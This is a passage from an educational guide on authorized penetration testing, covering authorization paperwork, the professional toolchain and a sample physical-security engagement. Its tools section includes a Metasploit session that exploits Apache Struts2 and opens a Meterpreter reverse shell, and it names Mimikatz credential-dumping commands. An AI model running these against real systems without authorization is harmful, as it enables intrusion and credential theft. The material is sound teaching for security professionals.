Hacker Tradecraft Volume 6 — The White Hat: The Authorized Professional — Hacker Tradecraft · Hacking

Authorization as the load-bearing concept; the engagement lifecycle from scope to retest; the toolchain woven across network, web, and RF; how the ethical professional actually gets hired

Section	Topic
1	Definition and boundary
2	Origin and how the term is actually used
3	Tools of the trade
4	Methods and tradecraft — the engagement lifecycle
5	A day in the life
6	How they get hired
7	Famous figures
8	Callouts and cross-references
9	Resources

1. Definition and boundary

The white hat is the authorized security professional. Everything else about the role — the toolchain, the engagement structure, the certifications, the career paths, the people — flows from that single load-bearing concept. Authorization is what makes the same network scan, the same Burp Suite session, the same Wi-Fi capture rig, the same Flipper Zero badge-cloning experiment a legitimate professional engagement on Monday morning and a federal felony on Tuesday afternoon. The technical content of the work is identical across the line; the legal and ethical status is binary, and authorization is the bit.

The textbook version of this — and the version Vol 19 will treat in full statutory detail — is the CFAA’s “without authorization or exceeds authorized access” phrase¹. The Computer Fraud and Abuse Act, 18 U.S.C. § 1030, criminalizes a wide range of access-to-protected-computer-systems conduct, and the operative qualifier across nearly every subsection is the authorization question. Vol 4 §1 walked the Supreme Court’s 2021 Van Buren v. United States decision², which narrowed the “exceeds authorized access” prong to access of files or folders the defendant was not entitled to enter — but left the “without authorization” prong (the prong that matters most for external pentesters) substantially intact. The white-hat practitioner operates entirely inside the authorization envelope; the grey-hat researcher operates outside it for constructive ends and accepts the legal risk; the black-hat actor operates outside it for harmful or self-interested ends. The hat metaphor (Vol 5 §6) calls these three positions on Axis 1; authorization is the operative concept that distinguishes them.

What authorization actually looks like in practice is not a single signature on a single document. The working white-hat engagement is a stack of artifacts, each of which expresses some part of the authorization envelope:

A signed statement of work (SOW) or master services agreement (MSA) between the testing firm (or the in-house team’s parent organization) and the client. This is the parent legal document. It defines the parties, the term of the engagement, the price, the deliverables, and the legal terms of art that govern the relationship — limitation of liability, indemnification, confidentiality, intellectual-property assignment, and the all-important consent-to-test clauses³.
A scope document that names the systems, IP ranges, domain names, applications, physical locations, and user populations that are in-scope for testing. The scope document is the artifact a pentester actually consults when they pause to wonder whether the host they just enumerated is fair game. A well-written scope document also names the systems that are out of scope (third-party hosted services, partner-organization infrastructure, shared-tenant cloud environments where collateral impact is plausible) — the negative list is as load-bearing as the positive list.
A rules of engagement (ROE) document that defines the working agreements separate from the contractual ones. Work hours (sometimes business-hours-only to avoid surprising the SOC; sometimes off-hours specifically to avoid impacting production users; sometimes 24/7 if the engagement is testing the SOC’s after-hours response). Escalation channels (who to call if something breaks; the technical point of contact; the executive point of contact; the after-hours line). Permission to social-engineer human targets, or specific exclusion of human targets. Permission to drop physical implants, or specific exclusion of physical access. Permission to test denial-of-service conditions, or — much more commonly — explicit prohibition of DoS testing.
A get-out-of-jail letter (the field’s near-universal nickname) signed by an authorized officer of the client organization, on the organization’s letterhead, with contact information for verification, naming the testing personnel and the scope and the term. The letter is the artifact a pentester carries — physically, in a folder, when conducting an on-premises physical-security assessment — to hand to a security officer or to law enforcement if their presence is challenged. Vol 17 (social engineering tradecraft) will treat the physical-engagement version of the letter at full depth; in the network-pentest context it is rarely produced in the field but is referenced as the load-bearing authorization artifact.

The boundary against the grey hat (Vol 8) is sharp: a grey-hat researcher does not have the SOW. They have an opinion that the research is constructive — often correctly — but the legal posture is unauthorized. The boundary against the black hat (Vol 7) is even sharper: a black-hat actor has neither the authorization nor the constructive intent; the same gear in the same situation produces a crime with elements of fraud, extortion, espionage, or sabotage stacked on top of the bare unauthorized-access charge. The hat-color taxonomy puts these three at very different points on Axis 1 (Vol 5 §6.1) — but the behavioral signature of a white-hat scan, a grey-hat scan, and a black-hat scan can be nearly identical on the wire. The difference is paperwork.

The line — load-bearing callout. No authorization, no engagement. The pre-engagement paperwork stack — SOW, scope document, ROE, get-out-of-jail letter — exists before the first packet leaves the consultant’s lab. A white-hat operator who starts testing before the signatures are dry has, in that moment, become a grey hat at best; in the worst case, the same operator has handed the client a defense against paying the invoice and handed prosecutors a clean CFAA case. The full legal framing is in Vol 19 §4; the CFAA statutory walkthrough is at Vol 19 §2. The grey-hat boundary is at Vol 8 §1.

What follows in this volume — the toolchain, the lifecycle, the day-in-the-life, the famous figures — all assumes the authorization envelope is in place. When it isn’t, the same activity is described by a different volume.

1.1 The white hat is not a job title

A clarification worth making early. White hat is a description of stance, not a job title. Working professionals carry titles like penetration tester, red team operator, security consultant, application security engineer, offensive security engineer, security researcher, bug bounty hunter, vulnerability researcher, cybersecurity analyst, and a couple of dozen other variants. All of these are white-hat roles when the authorization envelope is in place; none of them are white-hat by virtue of the title alone. A penetration tester operating without a signed SOW is not a white-hat penetration tester — they are an unauthorized intruder who happens to be skilled at the same craft. The title is descriptive of the work; the hat is descriptive of the legal posture under which the work is done.

This matters for two reasons. First, conversation about “what hat is so-and-so” is easier when the participants understand that the hat tracks the engagement, not the person. The same individual can be a white-hat operator on Monday’s authorized engagement and a grey-hat researcher on Tuesday’s after-hours independent vulnerability hunt. The hat changes with the activity. Second, the credentialing landscape (§6) is structured around demonstrating skill, not demonstrating authorization. The OSCP exam shows you can compromise a lab network; it does not show that you have an authorization stack. Authorization is a contract artifact, not a certification artifact.

1.2 The boundary tested by hard cases

Three hard cases that test the boundary, with the textbook answer for each:

Bug bounty programs. A researcher reports a vulnerability through a vendor’s bug bounty program (HackerOne, Bugcrowd, the vendor’s own VDP). Their authorization is the program scope plus a legal safe harbor clause in the program’s rules. The boundaries of what is authorized are defined by the scope — the listed in-scope domains, applications, and assets. Testing outside the scope is unauthorized; testing inside the scope, following the program’s published rules, is authorized as a white-hat activity even though no individual SOW was signed. The DoJ’s May 2022 policy revision (Vol 4 §5.3) explicitly recognized this framing for federal prosecution purposes⁴. The grey-hat shadow over bug-bounty work — the era when researchers reported under threat of prosecution — is mostly past, but only for programs that have published safe-harbor language.
CTF and lab environments. A learner solving HackTheBox or TryHackMe challenges, attacking VulnHub VMs in their home lab, or competing in a CTF is authorized by the learning environment’s terms of service. The platforms have explicit grants of permission to attack the labs they host; the learner accepts these terms when they sign up. This is white-hat practice — the work happens entirely inside sanctioned environments. The mistake mode is to extrapolate from the lab to “real” systems without an authorization envelope. Vol 9 (green hat) treats this transition at depth.
Out-of-scope discoveries mid-engagement. A pentester is conducting an authorized engagement against *.example.com and discovers, while scanning the in-scope subnet, that a partner organization’s host (partner.com, owned by a different legal entity) is misconfigured and vulnerable. The pentester is not authorized to test or exploit partner.com. The correct move is to stop, document the discovery as a finding (“our scope-defined network neighbor has issue X visible from your subnet”), and escalate through the engagement’s point of contact — not to follow the lead into the partner’s infrastructure. Out-of-scope discoveries are common and the discipline of leaving them alone is core to white-hat practice. The temptation to “just check whether it’s exploitable” is exactly the kind of marginal decision that distinguishes a working white-hat operator from a grey-hat researcher.

These cases reappear throughout the volume — the bug-bounty stance in §6’s career discussion, the lab-environment stance in §5’s day-in-the-life, the out-of-scope discovery in §4’s lifecycle.

2. Origin and how the term is actually used

The white-hat term and its black-hat counterpart entered information-security vocabulary through trade-press migration in the mid-1990s, with the Black Hat Briefings (founded 1997, Jeff Moss) as the institutional event that cemented the metaphor in the field’s working vocabulary. Vol 5 §3 and Vol 5 §4 walked the archaeology — the Western-cinema origin (silent-era visual coding, Tom Mix’s white-hat brand hardening across the 1910s and 1920s, Hopalong Cassidy’s 1935 deliberate inversion, the Saturday-matinee B-Western golden age), the trade-press migration in the ~1993–1996 window, and the dual-register insight that the Black Hat conference was named after the bad guys but attended by the good guys⁵. This section picks up where Vol 5 left off — focusing not on where the metaphor came from but on how the term is actually used in 2026 industry vocabulary.

The textbook definition is clean. A white hat is an authorized security professional, operating with permission, against systems the owner has granted access to, for the purpose of identifying and reporting vulnerabilities or testing defenses. The textbook definition matches the field’s working usage closely — closer than for almost any of the other hat colors. There is broad consensus on what white-hat means; the disagreement is mostly at the edges (bug bounties without published scope; CTF-vs.-real-world boundary cases; the question of whether a researcher operating under a vendor’s silence-and-don’t-prosecute informal posture is white-hat or grey-hat).

2.1 Industry usage versus textbook usage

Where industry usage diverges from the textbook is mostly in three patterns:

“White hat” is often used as a synonym for “ethical hacker” — interchangeably, in trade-press writing, in marketing copy, in job postings. The two terms are not exactly the same thing. Ethical hacker is a self-description that emphasizes the practitioner’s stance; white hat is a description of the engagement’s legal posture. A consultant testifying that they are an ethical hacker is making a claim about themselves; a consultant carrying a signed SOW is establishing white-hat authorization for that specific engagement. The terms align in practice because almost all ethical hackers operate under authorization most of the time — but the framings are different. EC-Council’s Certified Ethical Hacker (CEH) certification (founded 2003) is the canonical artifact for the ethical hacker framing as a professional credential⁶; the credential is well-known but is widely considered weaker than practical alternatives (§6.1).
“White hat” sometimes drifts to mean “skilled defender” in some trade-press usage, particularly in writing aimed at non-technical executive audiences. This usage is loose — the white-hat metaphor was always about offensive-style work with authorization, not about defensive work — but the boundary between offensive-authorized and defensive work has eroded as red-and-blue collaboration has become more institutional (Vol 12). A SOC analyst running purple-team exercises with the red team is doing white-hat work even though the engagement is collaborative-defensive rather than authorized-offensive.
“White hat” can collide with the engagement-role colors (red, blue, purple — Axis 2 in Vol 5 §6). A working consultant is often described as a “white-hat red-teamer” — Axis 1 plus Axis 2 stacked into a single label. Vol 5 §6.5 mapped the seven-color taxonomy onto both axes; the white-hat label sits cleanly on Axis 1, and the red-team / blue-team / purple-team labels sit on Axis 2. The two stack without conflict; they don’t substitute for each other. A practitioner who calls themselves “red-hat” without qualification has either picked up the engagement-role meaning (offensive operator) or the older vigilante meaning (Vol 5 §6.4, mostly dead) — context disambiguates.

Term	Axis 1 stance	Axis 2 role	Typical 2026 usage
White hat	Authorized / constructive	None inherent	The textbook stance; the load-bearing definition
Ethical hacker	Implied authorized	None inherent	Self-description; the CEH credential’s framing
Penetration tester	Implied authorized	Often red-team or generic offensive	A specific job-title pattern
Red teamer	Implied authorized	Red (offensive, adversary emulation)	Engagement-role overlay on white-hat stance
Security consultant	Implied authorized	None inherent (varies by engagement)	Broad job-title pattern
Bug bounty hunter	Implied authorized (by program scope)	None inherent	Independent contractor stance
Offensive security engineer	Implied authorized	Often red-team	In-house engineering role
Application security engineer	Implied authorized	Often blue (defense-side AppSec)	In-house engineering role

Table 6.1 — White-hat-related vocabulary in 2026 industry usage. The textbook white-hat definition is Axis-1 only; the engagement-role terms (red team, blue team, purple team) stack on top per Vol 5 §6.5. Ethical hacker is the EC-Council-credential-flavored self-description; in casual usage it overlaps with white hat but emphasizes the practitioner’s stance rather than the engagement’s legal posture.

2.2 The legitimating effect of conference names

Vol 5 §4 made the point that the Black Hat Briefings (1997) and DEF CON (1993) — both founded by Jeff Moss⁷ — were the institutional events that cemented the metaphor in working vocabulary. The corollary for this volume: those conferences also legitimated the white-hat framing as a default professional identity. Working pentesters, after roughly 2005, could attend Black Hat USA as a tax-deductible professional development expense and talk about it with their employers and clients without their professional standing being suspect. The conference’s program — talks by working researchers, vendor villages, training courses — defined what the white-hat working day looked like in mainstream career-and-conference vocabulary. The conference’s name did the cultural work of separating the event (which the white hats attended) from the content (which described black-hat techniques in a research register). The dual register is exactly the cultural achievement Vol 5 §4 walked.

A second-order effect worth flagging: the Black Hat Briefings name choice has, in 2026, produced periodic confusion in non-specialist trade-press coverage and corporate-procurement language. A security firm advertising “Black Hat-class training” is making a claim about the depth of the technical content, not a claim about the legal posture of the trainees; but executives unfamiliar with the metaphor occasionally need this disambiguated. Working white hats live with the irony.

3. Tools of the trade

The white-hat toolchain is heterogeneous — a mature consultant has working fluency across network discovery, web application testing, exploitation frameworks, cloud and Active-Directory tooling, RF and physical-security gear (when scope permits), and reporting and engagement-management infrastructure. This section sketches the contour with a usable working-set; the deep technical treatment of each subdomain lives in the reference cluster (Vols 13–16), and the device-specific deep dives in the Hack Tools hub carry the per-tool engineering detail. The objective here is to identify the working layers of the stack and point the reader to the right depth-reference for each.

A core principle worth naming up front: the white hat and the black hat use the same hardware and the same software. The HackRF One that a wireless pentester uses to capture and replay a gate-opener signal under an authorized physical-security assessment is the same HackRF that a black-hat car thief uses to steal a vehicle’s rolling-code remote (Vol 7 will treat the latter as a historical case study). The Burp Suite that an application-security consultant uses to fuzz an authorized web target is the same Burp Suite that a criminal actor uses to enumerate a target the actor doesn’t own. The Proxmark3 that a red-teamer uses to clone an authorized facility’s badge population is the same Proxmark3 a hostile actor uses to clone a corporate badge in a coffee-shop encounter. The legal-stance difference is authorization, not gear. Vol 5 §8 made this point with the master taxonomy diagram (the diagram is at vol05-the-master-taxonomy-diagram); the operational consequence for tool discussion is that nothing in this section is white-hat-only. The hat is on the operator, not on the device.

3.1 The network and host-discovery layer

Network reconnaissance — discovering what hosts exist, what services they run, what software versions those services run, what vulnerabilities those software versions are known to carry — is the foundation of nearly every white-hat engagement. The canonical tooling:

Nmap (Gordon “Fyodor” Lyon, first release September 1997⁸). The reference network discovery and security auditing scanner. Nmap’s TCP SYN scan (nmap -sS), TCP connect scan (nmap -sT), UDP scan (nmap -sU), version detection (-sV), OS fingerprinting (-O), and Nmap Scripting Engine (NSE) for protocol-specific probes (--script) cover the bulk of the discovery-phase work for an external or internal engagement. NSE scripts give Nmap an enumeration depth that earlier scanners didn’t have — protocol-specific vulnerability checks (smb-vuln-ms17-010, http-vuln-cve2017-5638), service enumeration (smb-enum-shares, ssh-auth-methods), authentication probing (ssh-brute, mysql-brute — though brute-forcing in an engagement requires explicit ROE permission). Nmap is the universal first-pass tool; the consultant runs it first and then narrows from its output. A representative invocation for the engagement’s initial sweep:
```
# Initial reconnaissance against an authorized in-scope /24.
# -sS    : TCP SYN scan (fast, doesn't complete the handshake)
# -sV    : version detection on open ports
# -O     : OS fingerprinting
# -p-    : scan all 65535 TCP ports (not just the default top-1000)
# -T4    : timing template 4 (aggressive but not destructive)
# --open : only report ports found open
# -oA    : output in all three formats (normal, grepable, XML) for downstream tooling
sudo nmap -sS -sV -O -p- -T4 --open \
     -oA scans/initial-sweep \
     10.10.0.0/24
```
Output goes to the engagement working directory; downstream Nmap’s XML format feeds directly into Metasploit’s db_import, Faraday IDE’s collaborative database, or custom parsers that produce per-host follow-up checklists.
Masscan (Robert Graham, 2013) — when the scope is internet-wide or an exceptionally large internal range, Nmap’s pacing is too slow. Masscan rewrites the TCP/IP stack in user space and can scan the entire IPv4 address space for a single port in approximately five minutes from a well-provisioned host⁹. The output is a target list that Nmap then enumerates in detail. The standard consultant pattern is masscan for breadth, nmap for depth.
Rustscan and ZMap — alternative high-speed scanners that occupy similar niches. ZMap is more academic-research-oriented; Rustscan is the modern-engineer’s wrapper that pipes its output into Nmap automatically.

The deep-treatment cross-reference for network reconnaissance is Vol 16 §3 (when authored).

3.2 The web-application layer

Web application testing has its own subdomain with its own canonical toolchain. The market leader by a substantial margin is Burp Suite (PortSwigger; founded by Dafydd Stuttard, sometimes known by the handle “PortSwigger” itself, in 2003¹⁰). Burp Suite’s intercepting proxy — the central feature — sits between the consultant’s browser and the target application; every HTTP request and response passes through Burp, where it can be inspected, modified, replayed, and instrumented. Burp’s Repeater (manual request replay with modification), Intruder (parameterized request fuzzing), Scanner (automated vulnerability detection in the Professional edition), and Extender (BApp extension API for custom modules) form the working interaction loop for the entire web-pentest day. The free Community Edition is sufficient for learning and for manual work; the Professional edition (~$475/year/seat in 2026, with periodic price adjustments) is the consulting-firm baseline.

The open-source alternative, OWASP ZAP (originally the Zed Attack Proxy, started by Simon Bennetts at OWASP; subsequently moved under the Software Security Project / Checkmarx umbrella), offers similar core functionality with a different UI and a stronger automation-first orientation. Many consultancies maintain working fluency in both — Burp for the rich interactive sessions, ZAP for automated scans integrated into CI/CD pipelines.

Beyond the proxy, the working web-pentest toolkit includes:

The OWASP suite — the OWASP Top 10¹¹ (the canonical reference list of common web vulnerability classes, updated approximately every three years), the OWASP Testing Guide, the OWASP Cheat Sheet Series, and the various OWASP project tools (Amass for subdomain enumeration, JuiceShop for practice, Nettacker, etc.). OWASP isn’t a tool but a body of work — the reference shelf every web-pentester reads.
Subdomain enumeration tools — subfinder (ProjectDiscovery), amass (OWASP), assetfinder (tomnomnom). The first phase of an external web engagement is figuring out how many subdomains belong to the target organization; these tools query passive sources (certificate transparency logs, search engines, DNS history archives), then optionally active-resolve the results.
Directory and content discovery — gobuster, ffuf (Fuzz Faster U Fool by joohoi), feroxbuster. Brute-force discovery of unlinked files, directories, and parameters using wordlists (the SecLists project is the canonical wordlist collection).
Vulnerability scanners with web focus — Nuclei (ProjectDiscovery; template-driven; scaled scanning across many targets), Acunetix, Nessus’ web modules.

3.3 The exploitation framework layer

Exploitation — taking a vulnerability identified during scanning and producing a working compromise — is, in the modern consultant’s workflow, dominated by a small number of frameworks. The canonical one:

Metasploit Framework (HD Moore, first public release October 2003 — Vol 4 §7.2 walked the lineage; acquired by Rapid7 in October 2009; remains the open-source-and-commercial-hybrid offering in 2026)¹². Metasploit’s contribution to white-hat work is its modular structure — exploits are decoupled from payloads, encoders, post-modules, and auxiliary modules, and the framework’s msfconsole is the working command-line for invoking them. A representative working flow inside msfconsole:
```
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(struts2_content_type_ognl) > set RHOSTS 10.10.0.42
msf6 exploit(struts2_content_type_ognl) > set LHOST 10.10.0.10
msf6 exploit(struts2_content_type_ognl) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(struts2_content_type_ognl) > exploit
[*] Started reverse TCP handler on 10.10.0.10:4444
[*] Sending stage (...) to 10.10.0.42
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: tomcat7
```
The Meterpreter payload — Metasploit’s flagship post-exploitation agent — is its own subsystem, with file-system operations, process control, screenshot capture, keystroke logging, port forwarding, and process migration. Metasploit’s database integration (db_nmap, hosts, services, vulns) lets the consultant build up a persistent picture of the engagement target across multiple scanning and exploitation passes.
Cobalt Strike (Raphael Mudge / Strategic Cyber LLC, first release 2012; acquired by HelpSystems in 2020, which rebranded to Fortra in 2022; a commercial product priced at approximately $5,900/year/operator in 2026)¹³ is the dominant red-team operations platform, distinct from but adjacent to Metasploit. Cobalt Strike’s Beacon implant — engineered for stealthy long-running operator-driven engagement rather than for rapid exploit-and-shell — defines the modern red-team’s tradecraft. Cobalt Strike’s commercial licensing requires a verified buyer (corporate identity, payment by company check); cracked copies circulate in the criminal-tool market and are a major operational concern (Vol 7 will treat this).
Cobalt Strike alternatives — Sliver (Bishop Fox; open-source; growing rapidly as a Cobalt-Strike replacement), Brute Ratel C4 (commercial; Chetan Nayak; periodic disclosure issues around licensing), Mythic (open-source; agent-and-controller framework).
Empire / Starkiller (BC Security maintains the modern fork; PowerShell-and-Python-based post-exploitation framework). Dormant for several years after the original project shut down; revived for current Windows post-exploitation work.

3.4 The cloud and Active Directory layer

Modern engagements almost always involve Active Directory or cloud identity systems, and the toolchain for this layer has become its own subdomain since the mid-2010s.

BloodHound (Andy Robbins, Will Schroeder, Rohan Vazarkar; first public release 2016)¹⁴ uses graph database semantics (Neo4j) to map Active Directory relationships — user-group memberships, ACL grants, session-cache data, sensitive-system relationships — and visualize attack paths from low-privilege footholds to Domain Admin or other valuable targets. BloodHound’s graph queries identify the shortest path from a compromised user to a target, transforming AD analysis from a brittle manual exercise into something an operator can iterate against quickly. The ingestor (SharpHound for native Windows, AzureHound for Azure AD / Entra ID) collects the raw data; the BloodHound UI lets the operator query and visualize it. BloodHound Community Edition (CE) has emerged in 2022–2023 from SpecterOps as the open-source continuation, with BloodHound Enterprise as the commercial-defensive-posture product.
Mimikatz (Benjamin Delpy, public English-language release 2011; French-language development from approximately 2007)¹⁵ — the canonical tool for credential extraction from Windows memory. Mimikatz’s sekurlsa::logonpasswords command extracts cleartext passwords, NTLM hashes, Kerberos tickets, and other authentication material from LSASS memory; lsadump::sam dumps SAM-database hashes from the registry. Mimikatz under authorized scoping is the workhorse tool for white-hat post-exploitation credential work; it requires careful ROE handling because of its detectability (every EDR product alarms on it) and because the credentials it extracts may belong to users outside the testing population.
Impacket (SecureAuth / now CoreImpact-adjacent; Python library suite, originally by Alberto Solino) — the Python library and tool collection for SMB, NTLM, Kerberos, MS-RPC, and related Windows protocols. The Impacket toolkit’s secretsdump.py, psexec.py, wmiexec.py, GetUserSPNs.py (Kerberoasting), GetNPUsers.py (AS-REP roasting), and ntlmrelayx.py (NTLM relay attacks) are workhorses of the Windows post-exploitation phase.
Cloud-side tooling — AzureHound (Azure AD / Entra ID graph collector, by the BloodHound team), AADInternals (Dr. Nestori Syynimaa’s PowerShell module for Azure AD red-teaming), Pacu (Rhino Security Labs’ AWS exploitation framework), ROADtools (Dirk-jan Mollema’s Azure AD enumeration suite). The cloud-AD reference shelf has thickened substantially since 2018 as enterprise AD migrated to Azure AD / Entra ID; expect Vol 16 to treat this at depth.

3.5 The reconnaissance layer (OSINT)

Before the network scan comes passive reconnaissance — open-source intelligence collection from public sources. The canonical tools:

Amass (OWASP) — subdomain enumeration as named in §3.2, but also broader asset-discovery: ASN mapping, IP-block enumeration, related-domain discovery.
theHarvester — email, name, and subdomain harvesting from search engines, certificate transparency logs, and various passive sources.
Shodan and Censys — internet-wide scanning services that the consultant queries (rather than running scans against the public internet themselves). A Shodan query for the target’s organization can surface internet-facing services the client wasn’t aware of.
Maltego (Paterva) — graph-based OSINT analysis platform; pulls from many transforms (Shodan, VirusTotal, Have-I-Been-Pwned, etc.) into a single canvas.
SpiderFoot — automated OSINT collection framework that runs many modules against a target and aggregates the results.

The OSINT layer is shared with the social-engineering tradecraft volume (Vol 17 will treat the pretexting and OSINT-to-phishing pipeline) and with the RF reconnaissance work that opens any wireless engagement.

3.6 The RF and physical-security layer (when scope permits)

This is where the cross-tool deep dives in the Hack Tools hub become the canonical reference material. When a white-hat engagement’s scope permits RF or physical-security testing, the same hardware that black-hats use is the same hardware white-hats use — the discriminator is the SOW, not the gear. The substantive working-set:

Software-Defined Radio (SDR) — wideband capture and replay. HackRF One (Michael Ossmann, Great Scott Gadgets; ~$300; 1 MHz to 6 GHz transmit-and-receive; half-duplex). The reference open-source SDR for engagements that need wideband RF capability — from sub-GHz wireless protocols (433 MHz industrial-and-scientific-and-medical band, 868 MHz European ISM, 915 MHz US ISM, the 433-MHz garage-door / car-remote band) up through GSM, 4G/LTE downlink, GPS, Wi-Fi (in limited ways given HackRF’s 20-Msps sample-rate ceiling), and ADS-B reception. The HackRF deep dive covers the silicon, the antenna ecosystem, the GNU Radio Companion flowgraph workflow, and the operating envelope. Companion product the PortaPack H2+ add-on turns the HackRF into a portable handheld with display, keyboard, and battery — useful for in-field engagement work where dragging a laptop into the parking lot would be conspicuous.
Sub-GHz, RFID/NFC, IR, and 1-Wire — the integrated handheld. Flipper Zero (Flipper Devices; ~$170; CC1101 sub-GHz transceiver with 300–928 MHz coverage; PN532-based 13.56 MHz NFC; 125 kHz LF RFID with TI TRF7970A; IR; 1-Wire; iButton; GPIO breakout; expandable via the WiFi Devboard and a thriving third-party module ecosystem — AWOK Dual Touch V3 for dual-ESP32 Wi-Fi audit, Ruckus Game Over for multi-radio sub-GHz/2.4-GHz work, Nyan Box for RemoteID and hidden-camera detection). The Flipper’s value to a working pentest is that it consolidates the badge-cloning, garage-opener capture, IR-blaster, and short-range wireless reconnaissance work onto a single handheld with a custom firmware ecosystem (Momentum, Xtreme, RogueMaster, and others; tjscientist’s daily-driver units run Momentum). The Flipper deep dive treats the silicon, the application-package (FAP) build pipeline, and the per-subsystem walkthroughs.
Wi-Fi auditing — the purpose-built platform. WiFi Pineapple (Hak5; ~$200 for Mark VII through ~$2,500 for Enterprise; a hardened OpenWrt-based wireless-auditing platform with PineAP rogue-AP, KARMA, evil-twin, and recon modules built in). The Pineapple deep dive (21 volumes; the largest in the project) covers the four current models — Mark VII, Mark VII + AC Tactical, Pager, Enterprise — at full hardware, software, and operational depth. The white-hat Wi-Fi audit engagement workflow uses Pineapple for the rogue-AP and KARMA-style work, and pairs it with aircrack-ng / hashcat for handshake-capture and offline cracking.
Wi-Fi/BLE firmware-driven audit — the open-source firmware. ESP32 Marauder Firmware (justcallmekoko’s open-source Wi-Fi/BLE pentest firmware; runs on the AWOK Dual Touch V3 and the Flipper WiFi Devboard among many others). Marauder occupies the same operational niche as the Pineapple at a much lower cost and on commodity ESP32 hardware. The deep dive covers the firmware architecture, the Wi-Fi/BLE attack surface as Marauder sees it, the fork landscape (Ghost ESP, Bruce, Bad Pinguino), and the operational posture for using Marauder under authorized scoping.
RFID and NFC — the lab-grade tool. Proxmark3 RDV4 (DigiKey / Proxmark.org / RfidResearchGroup; ~$300; the reference open-source RFID/NFC research tool, with custom hardware tuned for both LF 125 kHz and HF 13.56 MHz operations, plus a Bluetooth Low Energy add-on for in-field standalone use). When a physical-security engagement’s scope permits badge cloning, the Proxmark is the deeper tool than the Flipper for actually understanding the credential cryptography — its scriptable architecture and lower-level command set let an operator interact with iClass, MIFARE DESFire, and proprietary credential formats that the Flipper handles at a higher abstraction level. The deep dive (currently aspirational in the Hack Tools hub) will treat this at depth.
Physical-access HID injection — the Hak5 family. Ducky Script and the Hak5 HID family — USB Rubber Ducky, Bash Bunny, Key Croc, and the O.MG Cable/Plug/Adapter family. These are the BadUSB / keystroke-injection devices that a white-hat operator deploys under physical-access scoping. The 18-volume deep dive (companion in the Hak5 family to the WiFi Pineapple) treats the DuckyScript language at 1.0, 2.0, and 3.0; the four device families; the Payload Studio cloud authoring tool; and the combined-workflow patterns where a Pineapple stages a Wi-Fi attack and a Bash Bunny delivers the post-exploitation payload through a HID device.

The substantive tools table for working reference:

Tool	Layer	Typical use	Cross-reference
Nmap	Network discovery	TCP/UDP scan, version detection, OS fingerprint, NSE scripts	Vol 16 §3
Burp Suite	Web application	Intercepting proxy; Repeater, Intruder, Scanner	Vol 16 §4
OWASP ZAP	Web application	Open-source alternative to Burp; automation-first	Vol 16 §4
Metasploit Framework	Exploitation	Modular exploit + payload + post-module framework	Vol 16 §5
Cobalt Strike	Red-team C2	Beacon implant for stealthy long-running ops	Vol 16 §6
BloodHound	Active Directory	Graph-based AD attack-path analysis	Vol 16 §7
Mimikatz	Credential extraction	LSASS memory-resident credential extraction	Vol 16 §7
Impacket	Windows protocols	SMB/NTLM/Kerberos protocol-level tooling	Vol 16 §7
HackRF One	Wideband SDR	1 MHz – 6 GHz TX/RX for RF capture/replay	HackRF deep dive and Vol 13
Flipper Zero	Sub-GHz / RFID / NFC / IR	Integrated handheld for short-range RF/badge work	Flipper deep dive and Vol 13
WiFi Pineapple	Wi-Fi auditing	Rogue-AP, KARMA, evil-twin, recon, handshake capture	Pineapple deep dive and Vol 14
Proxmark3 RDV4	RFID/NFC research	Badge cloning and credential research (125 kHz / 13.56 MHz)	Proxmark3 dir and Vol 15
Hak5 Rubber Ducky / Bash Bunny	HID injection	Physical-access keystroke-injection payloads	Ducky Script deep dive and Vol 16
Nuclei	Vuln scanning	Template-driven scaled vulnerability detection	Vol 16 §3
theHarvester / Amass / Shodan	OSINT / recon	Subdomain enumeration, email harvesting, internet-wide search	Vol 17 §2

Table 6.2 — The white-hat toolchain working-set, organized by layer. The cross-references point into the reference cluster (Vols 13–17, all pending Phase 3 authoring) and the existing Hack Tools deep dives for engineering depth. None of these tools is white-hat-exclusive — the discriminator is authorization, not gear.

3.7 Engagement-realistic example — physical-security pentest with badge cloning under scope

A concrete worked example to ground the toolchain discussion. Consider an authorized physical-security assessment against a Fortune-500 financial-services firm’s data-center building. The SOW includes physical-entry attempts, badge cloning of an enrolled employee population (with that population’s separate consent in their employment paperwork), and limited social-engineering during the engagement window. The ROE specifies no tailgating without operator-and-target consent at the moment, no impersonation of law enforcement, no destructive entry, and a 1-AM-to-5-AM working window for the after-hours portion. The get-out-of-jail letter is in the consultant’s jacket pocket, with the corporate security director’s mobile number on the bottom.

The toolchain for this engagement looks like the following. Pre-engagement reconnaissance uses OSINT tools (Shodan, theHarvester) to identify exposed services from the building’s network; Google Maps + Street View for the physical layout; LinkedIn for the population of employees expected on-site (the social-engineering targets, if any). The wireless reconnaissance phase, conducted from a vehicle in the data-center’s parking lot during the daytime window, uses a WiFi Pineapple for the Wi-Fi survey and the HackRF One for sub-GHz and 2.4-GHz spectrum reconnaissance — what wireless protocols are in use, where the access points are sited, what guest-vs-corporate-network segmentation looks like from the outside, what the badge-reader RF emissions look like. The badge-cloning phase, conducted with explicit consent from the enrolled employee, uses a Proxmark3 RDV4 (or, for some credential formats, a Flipper Zero) to read the employee’s authorized badge and to write a clone to a blank credential. Both source and target credentials are inventoried before and after the engagement. The physical-entry phase, conducted within the ROE-defined work hours, uses the cloned badge against the building’s access-control readers; an O.MG Cable deployed as a “found USB” near the executive offices to test the firm’s policy against connecting unknown peripherals; potentially a Hak5 Bash Bunny in a friendly meeting room for a HID-injection demonstration if the engagement’s networking phase requires it.

Every step of this engagement uses tooling that is identical to black-hat tooling. The white-hat character is established entirely by the contractual artifacts — the SOW, the scope document, the ROE, the get-out-of-jail letter, the per-employee consent paperwork. Vol 17 (social engineering tradecraft) will walk a similar but social-engineering-centered example in detail; Vol 13–15 (the RF reference cluster) will cover the engineering depth of each tool used here.

4. Methods and tradecraft — the engagement lifecycle

A white-hat engagement is structured. It has a defined start, a defined end, and a defined sequence of intermediate phases that each consultancy and in-house red team will recognize even if the specific terminology drifts firm to firm. This section walks the lifecycle phase by phase, with the legal artifacts of §1 and the tooling of §3 woven in at the points they actually appear in the working day.

4.1 The lifecycle in one diagram

                  PRE-ENGAGEMENT                                        ENGAGEMENT                                  POST-ENGAGEMENT
   ┌─────────────────────────────────────────────────┐  ┌──────────────────────────────────────────────────┐  ┌─────────────────────────────────────┐
   │                                                 │  │                                                  │  │                                     │
